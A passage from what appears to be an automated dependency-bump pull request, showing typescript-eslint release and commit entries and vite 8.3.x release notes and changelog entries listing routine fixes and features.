href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.70.1 (2026-09-21)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.70.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/7488d681f6e0e96c2aaa1eee9c3d1b9b1ef077cb\"\u003e\u003ccode\u003e7488d68\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/d57b8da272375b6a45270639894a793933208a91\"\u003e\u003ccode\u003ed57b8da\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8695664c5ee3fbb8fd76907fc45e148579cc3162\"\u003e\u003ccode\u003e8695664\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/23d38ceeb8fb1237f55cb62fc2b54419e1fa1ed7\"\u003e\u003ccode\u003e23d38ce\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.70.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/eb42d9b7e7ab0eca543bc16b726688624c532fc6\"\u003e\u003ccode\u003eeb42d9b\u003c/code\u003e\u003c/a\u003e chore: cleanup and fix Nx dependencies and missing tasks (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12897\"\u003e#12897\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8c8053103f4ab8df3105826181c43fa257289a73\"\u003e\u003ccode\u003e8c80531\u003c/code\u003e\u003c/a\u003e chore: fix typos in comments and docs (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12846\"\u003e#12846\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b6b86a15dd42aaa0e37054683cb5606c8fd203c2\"\u003e\u003ccode\u003eb6b86a1\u003c/code\u003e\u003c/a\u003e chore: migrate to nx 23.2.0 (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12843\"\u003e#12843\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 8.3.0 to 8.3.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.3.4\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e support \u003ccode\u003eimport.meta.hot.acceptExports\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23463\"\u003e#23463\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc0f21c56a2e003a4d2dd23ccb9da3ec8c706c4e\"\u003ebc0f21c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid mutating hmr defaults (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23575\"\u003e#23575\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23576\"\u003e#23576\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/574d5e351905fe99891364d03c2440531378f7fd\"\u003e574d5e3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e correct preloads when chunkImportMap is enabled with non-root base (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23698\"\u003e#23698\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/2a8c0f05c76e35c43ab3560984a5103c8db8dbcd\"\u003e2a8c0f0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e wait for in-flight stylesheets in preload helper (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23652\"\u003e#23652\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23662\"\u003e#23662\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/036b74599b2fe1d8c61475371b856ceb88d26963\"\u003e036b745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve \u003ccode\u003e/@vite/client\u003c/code\u003e and stub \u003ccode\u003e@vite/env\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23664\"\u003e#23664\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/5afc5a8876624888fc1e8f43fed1c85c4b0e830b\"\u003e5afc5a8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e skip rewriting unchanged adopted styles (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23697\"\u003e#23697\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fa7146938b0ca703653c90c20907191a01c032ba\"\u003efa71469\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecss:\u003c/strong\u003e resolve imported preprocessors from their file path with lightningcss (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23688\"\u003e#23688\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/cf52011c46409a4a45f3d74bba631b8f005c4bc9\"\u003ecf52011\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23648\"\u003e#23648\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8a4c19cfc035f2dd203f2fa6d00ab9256a5e77c9\"\u003e8a4c19c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23649\"\u003e#23649\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/794516d50cff80e405bc9b3e5faac1c82987566c\"\u003e794516d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edev:\u003c/strong\u003e a restart requested during a restart used to be dropped (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23392\"\u003e#23392\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23484\"\u003e#23484\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/70d56ea1848909edab416934f3f68ce14343eb73\"\u003e70d56ea\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edon't treat modules ending with js-like query as js (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23687\"\u003e#23687\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fcb6f1252a95857823d935f98554b938888d41a0\"\u003efcb6f12\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e avoid adding filesystem root to watcher (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23689\"\u003e#23689\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3a7f2aea757d59bae66ad6edf6b321d26a7e6778\"\u003e3a7f2ae\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e skip caching CSS of chunks in a cycle (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23628\"\u003e#23628\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23636\"\u003e#23636\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/15d82f7dc679ab9c18d5ce2c3711157c2365ddd1\"\u003e15d82f7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eoptimizer:\u003c/strong\u003e scan deep imports with custom extensions (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23678\"\u003e#23678\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8579189bae8626b6ddab55a09325e209d62e027e\"\u003e8579189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eremove input option unescaping for now (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23694\"\u003e#23694\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/facc2fb1fffce03d9e2dd7011d0bd0eeddc7d0f6\"\u003efacc2fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e match static aliases on path boundaries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23643\"\u003e#23643\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b28db28e9e62d9866a9a0f1b22e74589cc180577\"\u003eb28db28\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatcher:\u003c/strong\u003e normalize file before root check in \u003ccode\u003eensureWatchedFile\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23673\"\u003e#23673\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/12bb28c22379c8d2fe90088fa0eefbfa2ab3fb80\"\u003e12bb28c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emodule-runner:\u003c/strong\u003e skip cloning call sites that have no source map (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23646\"\u003e#23646\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3d674869a50a0bca84a8cc8dc55bd35d57100e37\"\u003e3d67486\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCode Refactoring\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e import CSS HMR helpers from \u003ccode\u003e/@vite/client\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23674\"\u003e#23674\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/182f5b2a65391da5bee05f9c3df1aeb3794e98d9\"\u003e182f5b2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev8.3.3\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update launch-editor to v2.14.2 (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23654\"\u003e#23654\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/22fd1d5238cce2ee9db0eb4122f9e8feb6b06097\"\u003e22fd1d5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e filename passed to transformIndexHtml should not include queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23653\"\u003e#23653\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17\"\u003e7dafd8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e check \u003ccode\u003efs.serve\u003c/code\u003e for \u003ccode\u003e?vite-wasm-instance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23655\"\u003e#23655\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73\"\u003eba8b7ab\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23656\"\u003e#23656\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905\"\u003ec3e06f9\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev8.3.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e preload CSS correctly when \u003ccode\u003erenderBuiltUrl\u003c/code\u003e returns URLs with queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23611\"\u003e#23611\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/64e0a215c24f0522b27b91f93cfd93e317b94481\"\u003e64e0a21\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve lazy chunk sourcemaps (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23026\"\u003e#23026\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/eb7aa9a8816a1e926d5d9b4cbe7e796b61314ce2\"\u003eeb7aa9a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve the rolldown runtime from the installed rolldown (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23568\"\u003e#23568\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc598a6a8a6b7d6e157e9f19c16911cff8d2360c\"\u003ebc598a6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23601\"\u003e#23601\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/9944fa6033873f13ae88f59e023ab642c50fee2b\"\u003e9944fa6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23602\"\u003e#23602\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/88c17415af221b3a13e778f4f2c0e907c8287baf\"\u003e88c1741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e resolve percent-encoded srcset urls (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23609\"\u003e#23609\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/53f1ce7bfe38426861f6da572ef0e3359f6a80cd\"\u003e53f1ce7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003elimit size of object and array printing via \u003ccode\u003eforwardConsole\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23565\"\u003e#23565\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e64a5877dd3e552843a545749ccc257568917d28\"\u003ee64a587\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.3.3...v8.3.4\"\u003e8.3.4\u003c/a\u003e (2026-10-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e support \u003ccode\u003eimport.meta.hot.acceptExports\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23463\"\u003e#23463\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc0f21c56a2e003a4d2dd23ccb9da3ec8c706c4e\"\u003ebc0f21c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid mutating hmr defaults (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23575\"\u003e#23575\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23576\"\u003e#23576\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/574d5e351905fe99891364d03c2440531378f7fd\"\u003e574d5e3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e correct preloads when chunkImportMap is enabled with non-root base (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23698\"\u003e#23698\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/2a8c0f05c76e35c43ab3560984a5103c8db8dbcd\"\u003e2a8c0f0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e wait for in-flight stylesheets in preload helper (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23652\"\u003e#23652\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23662\"\u003e#23662\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/036b74599b2fe1d8c61475371b856ceb88d26963\"\u003e036b745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve \u003ccode\u003e/@vite/client\u003c/code\u003e and stub \u003ccode\u003e@vite/env\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23664\"\u003e#23664\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/5afc5a8876624888fc1e8f43fed1c85c4b0e830b\"\u003e5afc5a8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e skip rewriting unchanged adopted styles (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23697\"\u003e#23697\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fa7146938b0ca703653c90c20907191a01c032ba\"\u003efa71469\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecss:\u003c/strong\u003e resolve imported preprocessors from their file path with lightningcss (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23688\"\u003e#23688\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/cf52011c46409a4a45f3d74bba631b8f005c4bc9\"\u003ecf52011\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23648\"\u003e#23648\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8a4c19cfc035f2dd203f2fa6d00ab9256a5e77c9\"\u003e8a4c19c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23649\"\u003e#23649\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/794516d50cff80e405bc9b3e5faac1c82987566c\"\u003e794516d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edev:\u003c/strong\u003e a restart requested during a restart used to be dropped (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23392\"\u003e#23392\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23484\"\u003e#23484\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/70d56ea1848909edab416934f3f68ce14343eb73\"\u003e70d56ea\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edon't treat modules ending with js-like query as js (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23687\"\u003e#23687\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fcb6f1252a95857823d935f98554b938888d41a0\"\u003efcb6f12\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e avoid adding filesystem root to watcher (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23689\"\u003e#23689\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3a7f2aea757d59bae66ad6edf6b321d26a7e6778\"\u003e3a7f2ae\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e skip caching CSS of chunks in a cycle (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23628\"\u003e#23628\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23636\"\u003e#23636\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/15d82f7dc679ab9c18d5ce2c3711157c2365ddd1\"\u003e15d82f7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eoptimizer:\u003c/strong\u003e scan deep imports with custom extensions (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23678\"\u003e#23678\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8579189bae8626b6ddab55a09325e209d62e027e\"\u003e8579189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eremove input option unescaping for now (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23694\"\u003e#23694\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/facc2fb1fffce03d9e2dd7011d0bd0eeddc7d0f6\"\u003efacc2fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e match static aliases on path boundaries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23643\"\u003e#23643\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b28db28e9e62d9866a9a0f1b22e74589cc180577\"\u003eb28db28\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatcher:\u003c/strong\u003e normalize file before root check in \u003ccode\u003eensureWatchedFile\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23673\"\u003e#23673\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/12bb28c22379c8d2fe90088fa0eefbfa2ab3fb80\"\u003e12bb28c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emodule-runner:\u003c/strong\u003e skip cloning call sites that have no source map (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23646\"\u003e#23646\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3d674869a50a0bca84a8cc8dc55bd35d57100e37\"\u003e3d67486\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCode Refactoring\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e import CSS HMR helpers from \u003ccode\u003e/@vite/client\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23674\"\u003e#23674\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/182f5b2a65391da5bee05f9c3df1aeb3794e98d9\"\u003e182f5b2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.3.2...v8.3.3\"\u003e8.3.3\u003c/a\u003e (2026-10-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update launch-editor to v2.14.2 (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23654\"\u003e#23654\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/22fd1d5238cce2ee9db0eb4122f9e8feb6b06097\"\u003e22fd1d5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e filename passed to transformIndexHtml should not include queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23653\"\u003e#23653\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17\"\u003e7dafd8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e check \u003ccode\u003efs.serve\u003c/code\u003e for \u003ccode\u003e?vite-wasm-instance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23655\"\u003e#23655\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73\"\u003eba8b7ab\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23656\"\u003e#23656\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905\"\u003ec3e06f9\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.3.1...v8.3.2\"\u003e8.3.2\u003c/a\u003e (2026-10-01)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e preload CSS correctly when \u003ccode\u003erenderBuiltUrl\u003c/code\u003e returns URLs with queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23611\"\u003e#23611\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/64e0a215c24f0522b27b91f93cfd93e317b94481\"\u003e64e0a21\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve lazy chunk sourcemaps (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23026\"\u003e#23026\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/eb7aa9a8816a1e926d5d9b4cbe7e796b61314ce2\"\u003eeb7aa9a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve the rolldown runtime from the installed rolldown (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23568\"\u003e#23568\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc598a6a8a6b7d6e157e9f19c16911cff8d2360c\"\u003ebc598a6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23601\"\u003e#23601\u003c/a\u003e) (\u003ca 